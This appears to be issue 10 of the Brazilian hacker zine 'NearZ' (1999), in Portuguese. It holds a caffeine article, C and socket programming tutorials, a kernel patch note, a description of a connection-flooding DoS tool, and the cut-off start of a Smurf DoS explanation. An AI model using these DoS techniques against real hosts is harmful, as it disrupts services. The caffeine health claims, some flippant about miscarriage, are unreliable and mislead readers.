──────────────────────────────────────────────────────────────────────────────
KeyWorDZ: Hack, [ FiLE: nz10.txt ] ▄▄ ▄▄▄ OBtRuDeR
CrACk, Linux, [ SiZE: 70000 Bytes ] █ █ █ SoUL HuNTeR
ProGraMMing, [ DATE: 18 Jan 1999 ] █ █ █ ReVeNGe
VirII, XpLoit, [ Format: ASCII-Text ] █ █ █ im0rtal
ZiNe, asm, [ Lang: Portuguese ] ▀ ▀▀▀ PsYCh0ByTe
RuLez, c, NearZ. [ Price.: 100% FREE ] issue 10 bahamas
──────────────────────────────────────────────────────────────────────────────
* Caffeine Edition
╔═════╗ ╔═════╗ ╔═══════════════╗
║ xxx ╚╗ ║ xxx ║ ║ xxxxxxxxxxxxx ║
║ xxxx ╚╗ ║ xxx ║ ╚═══════╗ xxx ╔╝
║ xxxxx ╚╗ ║ xxx ║ f a c t o r y ╔╝ xxx ╔╝
║ xxxxxx ╚╗║ xxx ║ ╔╝ xxx ╔╝
║ xxxxxxx ╚╝ xxx ║ ╔╝ xxx ╔╝
║ xxxxxxxxxxxxxx ║ xXXXXXXx xXXXXXXXx XXx xXXXx ╔╝ xxx ╔╝
║ xxx ╔╗ xxxxxxx ║ XXX XX XXx XXXxXX' ╔╝ xxx ╔╝
║ xxx ║╚╗ xxxxxx ║ XXXXXXXXX' xXXXXXXXXX XXX' ╔╝ xxx ╔╝
║ xxx ║ ╚╗ xxxxx ║ XXX XXX XXX XXX ╔╝ xxx ╔╝
║ xxx ║ ╚╗ xxxx ║ XXX XXX XXX XXX ╔╝ xxxx ╚═══════╗
║ xxx ║ ╚╗ xxx ║ `XXXXXXXx `XXXXXXXXXXX XXX ║ xxxxxxxxxxxxx ║
╚═════╝ ╚═════╝ ╚═══════════════╝
+-+-+-+-+-+-+-+-+-+-+----+-+-+-+-+-+-+-+-+-+-+-+
Este documento pode conter informacoes ilegais
ou somente para fins *EDUCATIVOS*. Se usa-las
para *OUTROS* fins a responsabilidade sera sua
+-+-+-+-+-+-+-+-+-+-+----+-+-+-+-+-+-+-+-+-+-+-+
──────────────────────────────────────────────────────────────────────────────
T A B L E O F C O N T E N T Z
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
│ [0x00] <iNf> introducao/newz │
│ [0x01] <iNf> Caffeine │
│ [0x02] <pRg> Aprenda C - Parte II │
│ [0x03] <iNf> Kernel 2.0.36 PATCH │
│ [0x04] <pRg> Sockets Programming │
│ [0x05] <DoS> Smurf (papa) │
│ [0x06] <cRk> Brute Force │
│ [0x07] │
│ [0x08] │
│ [0x09] │
│ [0x0A] │
│ [0x0B] │
│ [0x0C] │
│ [0x0D] │
│ [0x0E] │
│ [0x0Z] <ZZZ> E-MaiLZ/E0i │
╚═─────────────────────────────────────────────═╝
╔═ ═╗
┌──────────────────── ╔╝ =────────────────────= ╚╗ ───────────────────┐
│ [0x00] ║ introducao/newz ║ [0x00] │
└──────────────────── ╚╗ =────────────────────= ╔╝ ───────────────────┘
╚═ ═╝
internet/brasil, 04:07am, 18 Janeiro 1999
uhUUU!! Ferias! Back to massive coding and skating! Edicao Especial:
"Caffeine". Como demoramos um pouco pra publicar a nearz09 resolvemos
compensar com uma edicao especial, e estamos ae! Se voce deu uma
passadinha na nossa HP (for Lynx) pode observar uma mudanca na visual,
mas de conteudo ainda estamos meio deficientes, mas se voce tem um
aplicativo/texto interessante eh soh mandar que a gente joga ele na
page. Nos sentimos obrigados a voltar a falar num assunto da nz09...
um mail de d*@mandic que criticava o zine HackPHR. Nos nao conheciamos
o trabalho de nossos colegas da HackPHR, por isso publicamos
as criticas de da*@. Mas depois acabamos vendo que os zines do pessoal
ae tem uma boa qualidade informativa e nao sabemos o porque das
criticas, entao: foi mal ae HackPHR team. Ae dumped achei alto nivel
mesmo akele doc de voces sobre port scanning e tipo, achei mais ainda
o manual do nmap que voces ripparam. (Nada pessoal, soh acho que os
caras da fyodor's nao merecem isso.)
╔═─────────────────────────────────────────────═╗
■──┤ [0x01] <iNf> Caffeine ├──────■ GhostOBtRuDeR ■─
╚═─────────────────────────────────────────────═╝
Uma substancia muito utilizada por zumbis viciados em IRC :) em coding,
internet, etc.. . . A cafeina eh uma substancia natural que esta presente
em folhas, sementes ou frutas de mais de 60
H especies em todo o mundo. A cafeina estimula o
| sistema nervoso central, deixando a pessoa mais
C-H-H atenta, motivada, concentrada e energetica. Tanto
| eh que um dos motivos que a cafeina eh muito usada
N eh pra ficarmos acordados 24, 48, 60! horas (rlz)
/ \ Pesquisas mostram que a cafeina nao afeta
N-----C C=O qualquer atividade fisica, pelo contrario, as vezes
|| || | ateh ajuda ;) E pra nossa sorte as pesquisas
C-H C N-C-H-H tambem dizem que o consumo regular da cafeina nao
\ / \ / | tem relacao com qualquer tipo de cancer. Doses
N C H altas de cafeina podem aumentar a pressao sanguinea
| || Em uma experiencia algumas pessoas receberam 500mg
C-H-H O de cafeina em uma dose soh (capsulas). Elas
| tiveram sua pressao monitorada por 2 dias. No fim
H das contas essas pessoas tiveram a pressao 5 pontos
acima do normal. Na figura a molecula da cafeina.
Pra efeito de comparacao, uma lista com os principais servidores de
cafeina que a galera mais usa (observacao: valores aproximados):
┌─────────────────┬─────────────────┬─────────────────┬──────────────────┐
│ Produto │ Lata 350ml │ Garrafa 1 litro │ Garrafa 2 litros │
├─────────────────┼─────────────────┼─────────────────┼──────────────────┤
│ Diet Pepsi │ 36.0 mg │ 96.0 mg │ 192.0 mg │
│ Pepsi-Cola │ 38.5 mg │ 102.4 mg │ 204.8 mg │
│ Coca-Cola │ 45.6 mg │ 121.6 mg │ 243.2 mg │
│ Jolt │ 100.0 mg │ 265.6 mg │ 531.2 mg │
│ Cafe Expresso │ 171.4 mg │ 457.1 mg │ 914.2 mg │
└─────────────────┴─────────────────┴─────────────────┴──────────────────┘
Apesar do cafe ser o campeao em cafeina (quase 1g em 2l) vai ser dificil
alguem tomar 2 litros de cafeh 8-D E se alguem conseguir, nao se sabe
o que pode acontecer com ela. 250mg de cafeina no organismo ja eh
considerado overdose. Se voce estiver overdosado voce se sentira nervoso
sem sono, seus musculos ficaram tremendo, excitado, pensamentos rodando.
Os homens metabolizam a cafeina mais rapido que as mulheres. Nas
mulheres a cafeina em excesso durante a gravidez pode provocar aborto
espontaneo. Mas se voce esta gravida nao se assuste, o aborto soh ocorre
em cerca de 25% das mulheres cafeinadas. Cafeina vicia? Sim. Mas segundo
mensagens de "alt.drugs.caffeine" uma pessoa viciada em cafeina: nao
demonstra sintomas muito visiveis quando ela fica sem cafeina; nao
precisa de mais de uma dose para se satisfazer, ou consumirah mais
e mais...; a perda do controle ou a necessidade de consumir nao farah
essa pessoa, vamos dizer, roubar, matar, a qualquer custo para conseguir
mais cafeina. Voce pode parar de consumir produtos que contem
cafeina a qualquer momento, que as unicas coisas que podem acontecer
com voce eh voce se sentir uma fadiga, uma dor de cabeca, e um pouco
de sono. Mas esses sintomas de ex-cafeinado somem em menos de uma semana
Mas se voce esta mesmo afim de esquecer a cafeina a melhor coisa a fazer
eh ir diminuindo a quantidade gradativamente durante alguns dias. Se
voce toma 10 chicaras de cafe por dia, comece a colocar menos cafe na
chicara, depois diminua pra 9 chicaras, depois 8, etc... O gosto da
cafeina pura eh amargo, por isso na maioria dos produtos que tem cafeina
tambem eh encontrado algum tipo de agente flavorizante.
Casos de intoxicacao
Se uma pessoa ingerir 10 gramas de cafeina ele vai morrer com certeza,
mas, ja foi documentado que uma (1) pessoa ja conseguiu sobreviver
depois de ingerir 24 gramas. Com certeza ela era um viciado de peso! Uma
pessoa intoxicacada por cafeina chega a vomitar e delirar. Casos
relatados mostram que muitos perdem a habilidade motora: nao podem
mais falar, se mexer, ou ateh mesmo piscar os olhos!. Se voce pretende
morrer de overdose de cafeina tera que tomar nada menos que ums 20
litros de cafe expresso, ou ums 80 litros de Coca-Cola. =)
Bom, acho que ja tem muita gente assustada }-) mas eh soh isso...
┌───── ───── ──── ─── ── ── ─ ■─┐
│ Voce sabe que esta exagerando na cafeina quando: │
│ A enfermeira precisa de uma calculadora cientifica para medir sua pressao │
└─■ ─ ── ── ─── ──── ───── ─────┘
╔═─────────────────────────────────────────────═╗
■──┤ [0x02] <pRg> Aprenda C - Parte II ├──────■ PsYCh0ByTe ■─
╚═─────────────────────────────────────────────═╝
OK galera! Na nossa decima edicao voltamos com mais uma parte do tutorial
'C' para iniciantes. Antes de tudo, soh um comentario: este tutorial nao
visa torna-lo um expert em 'C' mas sim dar alguma nocoes e mostrar
os caminhos mais faceis. So se torna um expert aquele que pratica o que
lhe foi ensinado. Deixando a babaquice de lado...nesta edicao vamos tratar
de algumas regras importantes sobre a estrutura dos codigos.
Starting...
0.0 main() "Isso me parece familiar..."
Se voce ja reparou bem, nos programas em C sempre tem uma funcao chamada
'main'. Pois eh! Ela eh obrigatoria em todos os programas uma vez que ela
e a funcao principal que reune todas as outras e executa o programa. Ela
eh chamada quando se inicia o programa.
int main()
{
printf("Esta eh a funcao principal!!!");
}
1.0 Funcoes
Quem sao elas? Uma funcao e um conjunto de instrucoes reunidos para executar
uma tarefa especifica. Ex. Todos aqueles comandos (scanf,strlen,fopen, etc)
que voce usa em seus programas. Geralmente voce passa parametros para uma
funcao e recebe um resultado, chamado de 'return code'
1.1 A estrutura de uma funcao
Uma funcao eh basicamente composta de 3 partes: O nome, o tipo, e os
parametros. O tipo eh o tipo de valor que ela retornara pra quem chamou
a funcao. O nome pode ser qualquer um comecando com letras do alfabeto
ou _ Os parametros podem ser quantos voce quizer e de que tipos voce
quizer. Exemplo. No exemplo abaixo main() faz uma chamada pra funcao
nome_da_funcao() com 3 parametros o primeiro eh um numero, o segundo
uma string e o terceiro um caracter. Main armazena o return code de
nome_da_funcao() na variavel `a'. As variaveis chamadas de locais
dentro da funcao nome_da_funcao() soh eh conhecida nakela funcao
portanto nunca tente usar uma variavel local dentro de outra funcao.
int main () {
int a;
a = nome_da_funcao (1, "2", '3');
}
int nome_da_funcao ( int parametro1, char * parametro2, char parametro3 )
{
tipo variavel_local_1;
tipo variavel_local_2;
tipo variavel_local_etc;
xxxxxxxxxxxxx(); /* Faz o que voce quer */
yyyyyyyyyyyyy();
zzzzzzzzzzzzz();
return(um_valor_do_tipo_int);
}
2.0 Comentarios
Por incrivel que pareca, nenhum programa vive sem comentarios. Voce sempre
ira ve-los indicando a utilidade de uma funcao ou mesmo os direitos do
autor que voce sentira uma vontade incontrolavel de apagar quando mudar qq
coisa do codigo. Pois eh...hehehe...vamos lah...
Os utilidade dos comentarios ja foi citada acima entao vamos ver como
criar um comentario legal para o seu programa...
Existem dois tipos de comentarios:
// Comenta tudo a partir dessas ateh o final da linha
/* */ Comenta tudo entre esses 'statements'
void lamer()
{
if(lamerdetect=1) // Se o lamer foi detectado
{
sendvirustohim(); // Manda um virus pra ele
format_hishd(); // Format o HD dele e
kickhim(); // Chuta ou desconecta ele...hehehe!!!
// baneall(); Essa instrucao nao sera compilada pois esta
// depois das barras
}
// Esse foi o exemplo do 1.caso.
}
void lamers()
{
if(lamersfound=1)
{
kickemall(); /* Se lamers forem achados,
CHUTA todos eles...*/
/* banemall(); Essa instrucao nao sera compilada
pois faz parte de um comentario */
}
}
Existe tambem um tipo de comentario que nao eh comentario =) mas tipo
fica como um comentario voce pode encontrar bastante dessas gambs no
source do BitchX. Ex:
#if 0
Isto eh um comentario
coment();
#endif
Como em C 0 eh falso e 'nao 0' eh verdadeiro um 'Se 0' nunca vai ser
verdadeiro e o compilador nunca compila. Esse tipo de comentario eh
util quando voce tem uma porcao de codigo que esteja bugado e quer
comentar, mas dentro desta porcao de codigo ja existem comentarios.
E como os compiladores de NAO aceitam coisas deste tipo:
/*
funcao1(); /* Essa funcao faz isso isso e isso */
^ -> O compilador
acha q o comentario
terminou aki e
compila a linha de
baixo
funcao2(); // Essa funcao faz akilo akilo e akilo
*/
^ -> Ae ele chega aki e acusa erro, pois eh um 'fechamento de comentario' sem
o abrimento
Entaum voce usa assim:
#if 0
funcao1(); /* Essa funcao faz isso isso e isso */
funcao2(); // Essa funcao faz akilo akilo e akilo
#endif
That's all folks! Na proxima edicao tem +! Espero ter ajudado...fl0w!!!
┌───── ───── ──── ─── ── ── ─ ■─┐
│ Voce sabe que esta exagerando na cafeina quando: │
│ Voce eh empregado do mes em uma casa de cafe que nunca trabalhou │
└─■ ─ ── ── ─── ──── ───── ─────┘
╔═─────────────────────────────────────────────═╗
■──┤ [0x03] <iNf> Kernel 2.0.36 PATCH ├──────■ PsYCh0ByTe ■─
╚═─────────────────────────────────────────────═╝
Tentando compilar o novo kernel, dois pequenos problemas apareceram aqui..
(Slackware 3.5 com gcc versao: egcs-2.90.29 980515 (egcs-1.0.3 release))
O primeiro eh que o kernel possuia uns erros e precisava ser "patcheado".
O segundo problema eh que o patch nao funcionava!!! Entao tive que mudar
tudo na raca mesmo...os arquivos modificados estao junto com esta edicao
no diretorio "misc" sob o nome de "kernel36patch.tgz"
O negocio eh o seguinte, voce soh tera que copiar os seguintes arquivos
para seus respectivos diretorios:
ioport.c --> /usr/src/linux/arch/i386/kernel
ksyms.c --> /usr/src/linux/arch/i386/kernel
string.h --> /usr/src/linux/include/asm-i386
types.h --> /usr/src/linux/include/linux
E isso ai! Eu gostaria de "agradecer" a todos que nao quiseram me ajudar
pelos ircs a fora...
┌───── ───── ──── ─── ── ── ─ ■─┐
│ Voce sabe que esta exagerando na cafeina quando: │
│ Voce espirra com o olho aberto │
└─■ ─ ── ── ─── ──── ───── ─────┘
╔═─────────────────────────────────────────────═╗
■──┤ [0x04] <pRg> Sockets Programming ├──────■ GhostOBtRuDeR ■─
╚═─────────────────────────────────────────────═╝
A pedidos (veja mail box) vou escrever sobre programaca de aplicativos
para redes tcp/ip na linguagem C. Nessa materia voce levara de brinde
"nearz.h" que eh uma biblioteca que diminui bastante o numero de linhas
de um programa. Esta materia eh pra quem ja tem um pouco de conhecimento
sobre C. Programar usando sockets em Linux eh muito mais facil do que
voce usar sockets em um ambiente podre como o windows.
Mexer com sockets eh como mexer com arquivos, a unica diferenca eh as
funcoes que voce vai usar para abrir um socket e as funcoes que voce
usa para abrir um arquivo. Outra diferenca eh a velocidade :]
Mas depois do socket aberto (conexao estabilizada) as funcoes que
voce geralmente usa com arquivos voce ira usar com sockets. Eh claro
existem algumas funcoes que nao podem ser usadas em arquivos e sao
usadas em sockets e vice-versa.
-=[ Comecando
A primeira coisa a fazer eh nunca se esquecer dos arquivos headers
necessarios para a compilacao de aplicacoes com socket.
#include <sys/types.h>
#include <sys/socket.h>
Esses arquivos contem as funcoes (algumas serao explicadas depois)
socket, socketpair, bind, connect, listen, accept, getsockopt
setsockopt, getsockname, getpeername, send, recv, sendto,
recvfrom, sendmsg, recvmsg, shutdown, rcmd, rresvport,
ruserok, rexec, howmany, roundup.
O segundo passo eh declarar uma variavel do tipo `int' para armazenar
o descritor do socket.
int mysock;
Pronto, agora soh falta a estrutura que define a qual computador
(host) e a qual porta seu socket vai se conectar. A estrutura eh
a `sockaddr_in' que foi criada a partir de `sockaddr' a diferenca
eh que a primeira eh usada pra conexoes na internet.
struct sockaddr_in {
short int sin_family; /* Familia do Endereco */
unsigned short int sin_port; /* Numero da Porta */
struct in_addr sin_addr; /* Endereco IP do host */
unsigned char sin_zero[8]; /* Nada... */
};
Familia do Endereco: Eh a familia de protocolo a ser usado.
Numero da porta....: Eh a porta que voce vai conectar. Vai de 1 ateh
65355. (A porta 0 eh reservada)
Endereco IP do host: Eh o endereco do computador, mas este endereco
nao fica na ordem conhecida por ae, por exemplo
192.168.0.1 A ordem do endereco nessa estrutura
eh chamada de "Network Byte Order". Voce nao ira
comumente colocar o endereco IP diretamente nessa
estrutura, geralmente ele eh colocado por outra
funcao, como por exemplo a funcao que converte
os hostnames pra IP.
Voce pode querer usar nome de hosts ao inves de enderecos IP, pra
isso voce deve incluir mais um header e declarar mais uma estrutura:
#include <netdb.h>
struct hostent {
char *h_name; /* Nome oficial do host */
char **h_aliases; /* Nomes alternativos do host */
int h_addrtype; /* Familia do protocol */
int h_length; /* Tamanho do endereco */
char **h_addr_list; /* Lista de IPs do host */
};
#define h_addr h_addr_list[0] /* Primeiro da lista h_addr_list */
As principais funcoes que estao no arquivo netdb.h sao:
gethostbyaddr, gethostbyname, gethostent, getprotobyname,
getprotobynumber, getprotoent, getservbyname, getservbyport,
sethostent.
Um outro arquivo que pode ser visto em alguns programas eh
`netinet/in.h' ou `linux/in.h'. Nao temos a falar sobre ele,
uma das funcoes deste arquivo eh bindear portas de programas
servidores pra portas abaixo de 1024.
Agora que voce ja conhece o basico vamos aa um programa exemplo.
Que conecta a um host em tal porta e mostra o recebeu, teste o
programa assim: "./programa host porta" por exemplo "./programa
localhost 25"
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
int main ( int argc, char ** argv ) {
int sock; /* Descritor do socket */
char buf[512]; /* Pequeno buffer pra armazenar dados */
struct hostent *phe; /* Pra transformar o hostname em IP */
struct sockaddr_in sin; /* Dados do host que vamos conectar */
int i; /* Soh um contador */
if( argc != 3 ) {
printf("use: %s host porta\n", argv[0]);
exit(1);
}
/* Abrimos o socket */
if( (sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("Erro abrindo socket");
exit(1);
}
sin.sin_family = AF_INET; /* Familia do protocolo tcp/ip */
sin.sin_port = htons(atoi(argv[2])); /* Porta que vamos conectar */
if( !(phe = gethostbyname(argv[1])) ) {
herror("Erro resolvendo o IP do host");
exit(1);
}
sin.sin_addr = *((struct in_addr *)phe->h_addr);
/* Copiamos da estrutura phe para a estrutura
sin o IP do host */
bzero(&(sin.sin_zero), 8); /* Zeramos o resto da estrutura */
/* Conectamos ao host */
if( connect( sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("Erro conectando ao host");
exit(1);
}
/* Recebemos a primeira "remessa" de dados */
if( (i = recv(sock, buf, 512, 0)) <= 0 ) {
perror("Erro recebendo dados");
exit(1);
}
buf[i] = 0x00; /* recv nao grava a marca de final de buffer */
printf("%s", buf);
close(sock); /* Fechamos a conexao */
return(0);
}
O programa eh bem simples. Vamos estuda-lo agora em detalhes. Logo
de cara ele chama a funcao socket que haviamos falado la em cima.
Essa funcao abre o socket, e caso ocorra algum erro devolve -1
sock = socket( AF_INET, SOCK_STREAM, 0 );
sock -> Variavel onde sera armazenada descritor do socket.
AF_INET -> Familia do protocolo e deve ser a mesma que for
usar na estrutura sockaddr_in. Pode ser:
AF_UNIX (UNIX internal protocols)
AF_INET (ARPA Internet protocols)
AF_ISO (ISO protocols)
AF_NS (Xerox Network Systems protocols)
AF_IMPLINK (IMP "host at IMP" link layer)
SOCK_STREAM -> Tipo de socket. Pode ser:
SOCK_STREAM Pacotes sequenciais, voce pode
usar o mesmo socket pra ler
e gravar na conexao.
SOCK_DGRAM Pacotes nao sequenciais, voce soh
soh pode ler ou gravar, nunca as
duas coisas ao mesmo tempo.
SOCK_RAW Abre as interfaces de rede pra
leitura. Soh pode ser aberto
pelo root.
0 -> Protocolo. Pode ser:
0 # IP, internet protocol
1 # ICMP, internet control message protocol
2 # IGMP, internet group multicast protocol
3 # GGP, gateway-gateway protocol
6 # TCP, transmission control protocol
12 # PUP, PARC universal packet protocol
17 # UDP, user datagram protocol
255 # RAW, RAW IP interface
Ao inves de usar o numero do protocolo voce pode usar
a funcao getprotobyname com o nome do protocolo como
parametro. Exemplo: pent = getprotobyname("ip");
Onde pent eh a estrutura `protoent':
struct protoent {
char *p_name; /* Nome oficial */
char **p_aliases; /* Outros nomes */
int p_proto; /* Numero do protocolo */
}
Apos o socket aberto vem as linhas:
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
A primeir voce ja sabe. Agora a segunda tem uma funcao que voce
ainda nao conhece: `htons' Como dito anteriormente, nem sempre
os dados da estrutura sockaddr_in estao na ordem direta, nesse
caso a ordem eh chamada de Network Byte Order. Obs: A funcao atoi
soh converte o parametro da linha de comando pra um numero que eh
usado como porta. Contamos com varias funcoes para trabalhar com
ordens diferentes:
htons() [Short] Host Byte Order -> Network Byte Order
ntons() [Short] Network Byte Order -> Host Byte Order
htonl() [Long] Host Byte Order -> Network Byte Order
ntohl() [Long] Network Byte Order -> Host Byte Order
Contiando a analize do programa-exemplo aparece a linha:
phe = gethostbyname(argv[1])
Nessa chamada a funcao gethostbyname resolve o nome do host que
voce passou na linha de comando pra IP e coloca o resultado na
estrutura phe ou devolve -1 quando ocorre algum erro. Com os
projetos de IPv6 em andamento foi implementada a funcao
gethostbyname2 que faz a mesma coisa que gethostbyname, com uma
diferenca, gethostbyname2 aceita um paramentro a mais. Esse
parametro eh a familia do protocolo que pode ser AF_INET
ou AF_INET6 (pra IPv6) entre outras.
Pra finalizar a inicializacao da estrutura sockaddr_in do nosso exemplo
tem as linhas:
sin.sin_addr = *((struct in_addr *)phe->h_addr);
bzero(&(sin.sin_zero), 8);
Que, respectivamente, pega o IP do host, retornado por gethostbyname,
e coloca em sin.sin_addr, e zera o resto da estrutura. Essa ultima
linha, nao eh necessaria, mas eh bom coloca-la.
Agora o que o programa faz eh conectar ao host:
connect( sock, (struct sockaddr *)&sin, sizeof(sin))
O primeiro parametro eh o descritor do socket. O segundo eh a
estrutura sockaddr, mas como usamos sockaddr_in colocamos
um modificador (struct sockaddr *) para fazer com que o compilador
nao acuse erro. O ultimo parametro eh o tamanho da estrutura. Se
a conexao nao for estabilizada a funcao retorna -1
Pronto ja estamos conectados. Agora voce pode usar as funcoes
read e write no socket como se ele fosse um arquivo ou pode
usar as funcoes recv e send.
recv ( int s, void *buf, int len, unsigned int flags )
s -> Descritor do socket
buf -> Ponteiro para o buffer
len -> Tamanho maximo a receber
flags -> Algumas opcoes que podem ser combinadas usando o operador
binario `ou' |
MSG_OOB -> Processa dados out-of-band
MSG_PEEK -> Peek at incoming message
MSG_WAITALL -> Espera por todos os bytes que voce
requisitou em `len'
send ( int s, const void *msg, int len, unsigned int flags )
s -> Descritor do socket
msg -> Ponteiro para o buffer
len -> Numero de bytes do buffer a enviar
flags -> Algumas opcoes que podem ser combinadas usando o operador
binario `ou' |
MSG_OOB -> Manda dados out-of-band
MSG_DONTROUTE -> Direto pra interface (nao pro router)
Apos terminar o envio e recebimento de dados voce pode fechar a conexao
usando duas funcoes
close ( int fd )
Nao permite mais enviar nem receber dados.
shutdown ( int s, int how )
Quando `how' for 0 nao permite mais receber dados mas ainda podera
enviar. Quando `how' for 1 nao permite mais enviar mas permite
receber dados do socket. Se `how' for 2 nao permite nem enviar
nem receber mais dados do socket.
Essas duas funcoes retornam 0 caso o socket foi fechado com sucesso
e retorna -1 se ocorrer algum erro.
-=[ Avancado
Muitas vezes o basico nao basta e voce precisa usar algo mais.
Trabalhando com sockets por exemplo voce se depara com uma barreira,
o que eles de chamam de "synchronous I/O multiplexing". Por exemplo,
voce deve conhecer o BitchX, que eh claro usa sockets, mas voce
percebe que enquanto voce digita mensages ele continua recebendo
mensagens e monstrando-as na tela. Simples, nao eh? Nem tanto.
Com a programacao normal quando voce usa `recv' ou `read' pra ler
dados de um socket essas funcoes aguardam ateh que chegue algum
dado impossibilitando o programa de continuar a fazer outras coisas
como por exemplo pegar o que voce esta digitando. Para vencer
esta barreira contamos com varias funcoes. Vamos analiza-las.
select ( int n, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout )
FD_CLR ( int fd, fd_set *set )
FD_ISSET ( int fd, fd_set *set )
FD_SET ( int fd, fd_set *set )
FD_ZERO ( fd_set *set )
Para usar estas funcoes voce deve incluir mais um header em seus
programas:
#include <unistd.h>
Basicamente, `select' faz o seguinte: Espera um certo tempo pra
ver se recebe alguma coisa se nao receber retorna 0. Como o assunto
eh meio complexo soh irei ensinar a mexer com 1 socket por `fd_set'
Vamos supor que voce vai fazer um programa parecido com o telnet.
E vamos supor que no seu programa tenha uma chamada a funcao `recv'
pra receber o que o outro computador manda, e uma chamada a `scanf'
que le o que voce digita e em seguida chama `send' pra mandar o que
voce digitou. O problema eh quando o outro computador nao manda nada,
nesse caso o seu programa fica esperando, pra entao soh depois
ler o teclado. E se voce quizer digitar antes? Na logica seria assim:
Tem dados no socket?
Se tem recebe e mostra na tela.
Tem dados no teclado?
Se tem le e envia pro socket.
Comeca de novo.
Vamos agora ao programa-exemplo. (Observacao, deve ser pressionado
a tecla ENTER apos digitar alguma coisa, pois os terminais do linux
sao bufferados por linha)
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/time.h> /* Para `timeval' */
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
int main ( int argc, char ** argv ) {
int sock; /* Descritor do socket */
char buf[512]; /* Pequeno buffer pra armazenar dados */
struct hostent *phe; /* Pra transformar o hostname em IP */
struct sockaddr_in sin; /* Dados do host que vamos conectar */
int i; /* Soh um contador */
struct timeval tv; /* Tempo a esperar por dados */
fd_set sockset; /* `Set' Para o socket */
fd_set keybset; /* `Set' Para o teclado */
if( argc != 3 ) {
printf("use: %s host porta\n", argv[0]);
exit(1);
}
/* Abrimos o socket */
if( (sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("Erro abrindo socket");
exit(1);
}
sin.sin_family = AF_INET; /* Familia do protocolo tcp/ip */
sin.sin_port = htons(atoi(argv[2])); /* Porta que vamos conectar */
if( !(phe = gethostbyname(argv[1])) ) {
herror("Erro resolvendo o IP do host");
exit(1);
}
sin.sin_addr = *((struct in_addr *)phe->h_addr);
/* Copiamos da estrutura phe para a estrutura
sin o IP do host */
bzero(&(sin.sin_zero), 8); /* Zeramos o resto da estrutura */
/* Conectamos ao host */
if( connect( sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("Erro conectando ao host");
exit(1);
}
while(1) {
/* Vamos verificar se ha dados no socket */
tv.tv_sec = 0; /* Esperamos 0 segundos e 1 microsegundo, */
tv.tv_usec = 1; /* ou seja, soh verificamos se tem dados */
FD_ZERO(&sockset); /* Zeramos o set */
FD_SET(sock, &sockset); /* Incluimos o descritor do socket */
if( select(sock+1, &sockset, NULL, NULL, &tv) != 0 ) {
if( (i = recv(sock, buf, 512, 0)) <= 0 ) {
perror("Erro recebendo dados");
exit(1);
}
buf[i] = 0x00;
printf("%s", buf);
fflush(stdout);
}
/* Vamos verificar se foi digitada alguma tecla */
tv.tv_sec = 0;
tv.tv_usec = 1;
FD_ZERO(&keybset);
FD_SET(0, &keybset); /* 0 = stdin (standard input (teclado)) */
if( select(0+1, &keybset, NULL, NULL, &tv) != 0 ) {
gets(buf);
buf[strlen(buf)+1] = 0x00;
buf[strlen(buf)] = '\n';
/* Enviamos a tecla pro socket */
if( send(sock, &buf, strlen(buf), 0) != strlen(buf)) {
perror("Erro enviando dados");
exit(1);
}
}
}
shutdown(sock, 2); /* Fechamos a conexao */
return(0);
}
As unicas coisas a analizarmos nesse programa eh que nos colocar 1
microsegundo de espera. Isto se deve ao fato de que se voce colocar
0 segundos e 0 microsegundos o programa consome todos os recursos de
CPU deixando o sistema lento. A outra coisa eh a estrutura `timeval'.
Lembrando que 1 segundo possui 1000000 de microsegundos.
struct timeval {
int tv_sec; /* Segundos */
int tv_usec; /* Microsegundos */
};
Vamos ver agoras as funcoes de "synchronous I/O multiplexing" mais
detalhadamente.
FD_ZERO ( fd_set *set )
Zera todo o `set' de descritores de socket/arquivo
FD_CLR ( int fd, fd_set *set )
Retira do `set' o descritor `fd'
FD_ISSET ( int fd, fd_set *set )
Verifica se `fd` esta no `set'
FD_SET ( int fd, fd_set *set )
Acrescenta `fd' ao `set'
select ( int n, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout )
Essa funcao monitora os `sets' de descritores para ver se:
Eh possivel gravar em `writefds'; Existem dados em `readfds';
Verifica tambem se alguns dos descritores que podem ser lidos
ou gravados esta em `exceptfds' em caso afirmativo ela ignora-os
Nao se esqueca de sempre somar 1 ao primeiro parametro da funcao,
que eh o a soma dos descritores (?)
-=[ Denial of Services
Bom, de acordo com o pedido (mail box) o nosso manow quer saber
tambem sobre socketz }-) Vamos lah, alguns programinhas maliciosos.
Ps: os arquivos com os sources dos programas estao no diretorio
misc/DoS que vem no arquivo nearz10.{tgz,zip} Os programas usam
a biblioteca citada anteriormente `nearz.h'. Pra compilar
os DoSes soh digitar "make" no diretorio acima.
1 - floodinetd.c
Abre milhoes de conexoes em uma determinada porta, se for um
servico do inetd ele sera desativado por um periodo de tempo.
O servico soh cai dependendo da memoria e swap do computador,
entao se o cara tem 512M de RAM vai demorar um pouco pra cair
-=[ Tha End
Bom, talvez na edicao 11 falaremos sobre como fazer servidores.
┌───── ───── ──── ─── ── ── ─ ■─┐
│ Voce sabe que esta exagerando na cafeina quando: │
│ Voce soh assiste videos em velocidade rapida (fast-forward) │
└─■ ─ ── ── ─── ──── ───── ─────┘
╔═─────────────────────────────────────────────═╗
■──┤ [0x05] <DoS> Smurf (papa) ├──────■ GhostOBtRuDeR ■─
╚═─────────────────────────────────────────────═╝
Deixar o ping (icmp) aberto podia ser perigoso, agora eh mais ainda.
Eh o seguinte, quando o kernel recebe um ping ele automaticamente
manda um pong pro IP que vem na estrutura sockaddr. O problema eh que
como o protocolo do ping eh icmp, o IP de origem do pacote pode ser
spoofado. Por que? Por que icmp eh um protocolo que nao tem controle,
ou seja nao tem sequencia. Bom, o kernel quando tem que se comunicar
via icmp faz o pacote e cospe ele pra rede e soh. Voltando ao ping,
o smurf consiste no seguinte eskema:
MeuHOST --pacote-ping-com-IP-de-HostALVO--> BroadCastA
|
